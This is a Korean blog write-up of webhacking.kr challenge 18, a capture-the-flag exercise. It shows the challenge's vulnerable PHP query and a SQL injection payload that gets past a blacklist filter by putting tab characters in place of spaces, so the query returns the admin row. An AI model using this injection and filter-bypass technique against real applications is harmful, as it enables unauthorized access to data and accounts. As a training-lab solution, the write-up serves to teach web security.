webhacking.kr 18번 문제풀이 Write Up 입니다.
대놓고 SQL Injection을 하라고 합니다.
소스코드를 살펴보면, SQL문이 하나 보입니다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
SQL문의 결과가 admin이 나오면 되는 것 같습니다.
해당 SQL문 입니다.
select id from chall18 where id='guest' and no=$_GET[no]
이 SQL문이 admin이 검색되도록 하면 됩니다.
이미 해당 SQL문에는 guest 검색하는 부분이 있으므로, no 부분을 틀리게 적고 id 검색 구문을 추가해 보겠습니다.
select id from chall18 where id='guest' and no='' or id='admin' and no=2
이렇게 작성하면 guest 부분은 no가 잘못돼서 검색되지 않으므로 admin이 나오게 될 것입니다.
어짜피 우선순위는 and가 높기 때문에, 실질적으로는
select id from chall18 where (id='guest' and no='') or (id='admin' and no=2)
이렇게 연산이 되는 셈입니다.
다만 공백이 filtering 되고 있기 때문에 공백을 tab 문자로 바꾸어야 합니다.
tab 문자로 바꾸고 입력합니다.
입력하면 문제가 정답처리 됩니다.
'CTF > webhacking.kr' 카테고리의 다른 글
[CTF] webhacking.kr 20번 Write-Up (0) | 2022.10.15 |
---|---|
[CTF] webhacking.kr 19번 Write-Up (0) | 2022.10.15 |
[CTF] webhacking.kr 17번 Write-Up (0) | 2022.10.14 |
[CTF] webhacking.kr 16번 Write-Up (0) | 2022.10.14 |
[CTF] webhacking.kr 15번 Write-Up (0) | 2022.10.14 |
댓글